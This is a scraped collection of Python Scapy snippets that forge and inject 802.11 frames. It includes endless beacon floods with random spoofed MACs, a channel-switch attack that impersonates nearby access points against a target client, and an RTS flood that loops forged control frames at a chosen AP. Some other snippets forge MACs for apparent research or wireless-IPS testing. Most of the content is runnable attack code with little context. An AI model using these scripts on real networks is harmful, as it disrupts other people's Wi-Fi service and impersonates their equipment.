Exemple #1
0
def stormWithBeaconFrames():
    global interfaceName
    global monitorInterface
    log("Starting with storming on interface [{}]".format(interfaceName))
    
    netSSID = 'testSSID'       #Network name here
    iface = 'wlan0mon'         #Interface name here

    dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=str(RandMAC()), addr3=str(RandMAC()))
    
    beacon = Dot11Beacon(cap='ESS+privacy')
    essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
    rsn = Dot11Elt(ID='RSNinfo', info=(
'\x01\x00'                 #RSN Version 1
'\x00\x0f\xac\x02'         #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00'                 #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04'         #AES Cipher
'\x00\x0f\xac\x02'         #TKIP Cipher
'\x01\x00'                 #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02'         #Pre-Shared Key
'\x00\x00'))               #RSN Capabilities (no extra capabilities)

    frame = RadioTap()/dot11/beacon/essid/rsn

    frame.show()
    print("\nHexdump of frame:")
    hexdump(frame)
    raw_input("\nPress enter to start\n")

    sendp(frame, iface=iface, inter=0.100, loop=1)
Exemple #2
0
def test():
    netSSID = 'testSSID' #Network name here
    iface = 'mon5'   #Interface name here

    dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
                  addr2='22:22:22:22:22:22', addr3='33:33:33:33:33:33')
    beacon = Dot11Beacon(cap='ESS+privacy')
    essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
    rsn = Dot11Elt(ID='RSNinfo', info=(
        '\x01\x00'              #RSN Version 1
        '\x00\x0f\xac\x02'      #Group Cipher Suite : 00-0f-ac TKIP
        '\x02\x00'              #2 Pairwise Cipher Suites (next two lines)
        '\x00\x0f\xac\x04'      #AES Cipher
        '\x00\x0f\xac\x02'      #TKIP Cipher
        '\x01\x00'              #1 Authentication Key Managment Suite (line below)
        '\x00\x0f\xac\x02'      #Pre-Shared Key
        '\x00\x00'))            #RSN Capabilities (no extra capabilities)

    frame = RadioTap()/dot11/beacon/essid/rsn
    frame.show()
    print("\nHexDump of frame:")
    hexdump(frame)
    raw_input("\nPress enter to start\n")

    sendp(frame, iface=iface, inter=0.100, loop=1)
    def geracao_pacotes(self):

        netSSID = 'testSSID'
        iface = 'wlp3s0mon'  #Nome da Interface Wireless

        mac_forjado_pr = self.criacao_mac_ponto_referencia()
        numero_pacotes = int(self.numero_pacotes.get())
        intervalo_envio = float(self.intervalo.get())

        ## addr1 = MAC de destino (MAC da placa wireless)
        ## addr2 = Endereco MAC de origem do remetente. (MAC forjado)
        ## addr3 = Endereco MAC do ponto de acesso.

        dot11 = Dot11(type=0,
                      subtype=8,
                      addr1='E4:18:6B:4B:94:00',
                      addr2=mac_forjado_pr,
                      addr3='33:33:33:33:33:33')

        beacon = Dot11Beacon(
            cap='ESS+privacy')  ## indica a capacidade do ponto de acesso

        essid = Dot11Elt(ID='SSID', info=netSSID, len=len(netSSID))

        rsn = Dot11Elt(ID='RSNinfo',
                       info=('\x01\x00'
                             '\x00\x0f\xac\x02'
                             '\x02\x00'
                             '\x00\x0f\xac\x04'
                             '\x00\x0f\xac\x02'
                             '\x01\x00'
                             '\x00\x0f\xac\x02'
                             '\x00\x00'))

        frame = RadioTap() / dot11 / beacon / essid / rsn

        frame.show()
        print("HexDump of frame")

        hexdump(frame)

        a = sendp(frame / "RURALRURALRURAL",
                  iface=iface,
                  inter=intervalo_envio,
                  loop=0,
                  count=numero_pacotes
                  )  # inter = intervalo entre o envio dos pacotes
        print(a)

        self.atualizar_tela()
Exemple #4
0
def geracao_pacotes():

    nome_ponto_referencia = input('Insira o nome do Ponto de Referência: ')
    mac_forjado_pr = criacao_mac_ponto_referencia(nome_ponto_referencia)

    tempo_execucao = float(input("Insira o tempo de execucao (minutos): "))
    print('\n_________________________________________')

    intervalo_envio = float(
        input(
            "Insira o intervalo de frequencia de envio de pacotes (em segundos) : "
        ))
    print('\n_________________________________________')

    num_pacotes =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JUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJUFRRJ"

    ## addr1 = MAC de destino (MAC da placa wireless)
    ## addr2 = Endereco MAC de origem do remetente. (MAC forjado)
    ## addr3 = Endereco MAC do ponto de acesso.
    dot11 = Dot11(type=2,
                  subtype=0,
                  addr1='E4:18:6B:4B:94:00',
                  addr2=mac_forjado_pr,
                  addr3='33:33:33:33:33:33')

    essid = Dot11Elt(
        ID='SSID', info='testSSID',
        len=len('testSSID'))  # indica a capacidade do ponto de acesso

    frame = RadioTap() / dot11 / essid / data

    frame.show()

    input("Digite enter para o inicio do envio de pacotes:")

    sendp(
        frame,
        iface='wlp3s0mon',
        inter=intervalo_envio,
        loop=0,
        count=num_pacotes
    )  # iface = Nome da Interface Wireless. inter = intervalo entre o envio dos pacotes (em segundos). count = numero de pacotes

    escreve_arquivo(nome_ponto_referencia, mac_forjado_pr)
Exemple #5
0
 def sendAssocReq():
     #packet to client
     dot11 = Dot11(type=0, subtype=0, addr1=config["bssid"], addr2=config["mac"], addr3=config["mac"])
     auth = Dot11AssoReq(ID=ESS, info='\x01')#ESS=0x0, privacy=0x1)  
     essid = Dot11Elt(ID='SSID',info="wips-test-psk", len=len("wips-test-psk"))
     #rsn omzetten naar Dot11EltRSN
     rsn = Dot11Elt(ID='RSNinfo', info=(
       '\x01'                     #RSN Version 1
       '\x00\x0f\xac\x02'         #Group Cipher Suite : 00-0f-ac TKIP
       '\x02\x00'                 #2 Pairwise Cipher Suites (next two lines)
       '\x00\x0f\xac\x04'         #AES Cipher
       '\x00\x0f\xac\x02'         #TKIP Cipher
       '\x01\x00'                 #1 Authentication Key Managment Suite (line below)
       '\x00\x0f\xac\x02'         #Pre-Shared Key
       '\x00\x00'))               #RSN Capabilities (no extra capabilities)
     frame = RadioTap()/dot11/auth/essid#/rsn  
     frame.show()
     sendp(frame, iface=config["iface"], inter=0.100, loop=0) 
Exemple #6
0
def channelSwitchAttackActionFrame(config):
    #methods that discover all the access points that are nearby.
    aps = discoverAPs(config)
    # Attack the target.
    timeToRun = (time.time() + config["time"])
    printTime()
    while(time.time() < timeToRun):
        i = 0
        while(i < len(aps)):
            print("Sending channelSwitchBeacon to " + str(config["mac"]) + " from: " + str(aps[i]) + " on channel: " + str(aps[i+1]))
            setChannel(config["iface"], aps[i+1])
            dot11 = Dot11(type=0, subtype=13, addr1=config["mac"], addr2=aps[i], addr3=aps[i])
            category = ('\x00' # spectrum management
                        '\x04')    #channel switch announcement
            csa = Dot11Elt(ID='Channel Switch', info=(
            '\x00'  #Channel switch mode
            '\x7c'  #new channel ))
            '\x00')) #channel switch cnt    
            frame = RadioTap()/dot11/category/csa  
            frame.show()
            sendp(frame, iface=config["iface"], loop=0)
            time.sleep(config["interval"])
            i += 3
    printTime()
Exemple #7
0
    b'\x00\x0f\xac\x02', b'\x00\x0f\xac\x04', b'\x00\x00'
]
WPA2_PSK_SHA256_CCMP_TKIP = [
    b'\x01\x00', b'\x00\x0f\xac\x04', b'\x02\x00', b'\x00\x0f\xac\x04',
    b'\x00\x0f\xac\x02', b'\x01\x00', b'\x00\x0f\xac\x06', b'\x00\x00'
]
WPA2_PSK_FT_SHA256_CCMP_TKIP = [
    b'\x01\x00', b'\x00\x0f\xac\x04', b'\x02\x00', b'\x00\x0f\xac\x04',
    b'\x00\x0f\xac\x02', b'\x02\x00', b'\x00\x0f\xac\x06', b'\x00\x0f\xac\x08',
    b'\x00\x00'
]
WPA2_SAE_SHA256_CCMP = [
    b'\x01\x00', b'\x00\x0f\xac\x04', b'\x01\x00', b'\x00\x0f\xac\x04',
    b'\x01\x00', b'\x00\x0f\xac\x08', b'\x00\x00'
]
WPA2_EAP_PSK_CCMP_TKIP = [
    b'\x01\x00', b'\x00\x0f\xac\x04', b'\x02\x00', b'\x00\x0f\xac\x04',
    b'\x00\x0f\xac\x02', b'\x02\x00', b'\x00\x0f\xac\x01', b'\x00\x0f\xac\x02',
    b'\x00\x00'
]
rsn_bytes = b''.join(WPA2_PSK_CCMP_TKIP)
rsn = Dot11Elt(ID='RSNinfo', info=rsn_bytes, len=len(rsn_bytes))

frame = RadioTap() / dot11 / beacon / essid / rsn

frame.show()
print("HexDump of frame:")
hexdump(frame)

sendp(frame, iface=iface, inter=0.100, loop=1)
Exemple #8
0
ap = argparse.ArgumentParser()
ap.add_argument("-a", "--ap", required=True, help="Target AP MAC address")
ap.add_argument("-c",
                "--client",
                required=True,
                help="Connected client MAC address")
ap.add_argument("-i",
                "--interface",
                required=True,
                help="Monitor mode interfaceon the correct channel")

args = ap.parse_args()

iface = args.interface
apaddr = args.ap
srcaddr = args.client

packet = RadioTap() / Dot11(proto=0,
                            FCfield=0,
                            subtype=11,
                            addr2=args.client,
                            addr1=args.ap,
                            type=1,
                            ID=65535)

# packet = PPI(version=0, flags=0, notdecoded='\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x00l\\t\\xc0\\x00\\x00\\x00\\xf9\\x00', len=32, dlt=105)/Dot11(proto=0, FCfield=0, subtype=11, addr2=args.client, addr1=args.ap, type=1, ID=65535)

packet.show()
raw_input("\nPress enter to start\n")
sendp(packet, iface=args.interface, inter=0.030, loop=1)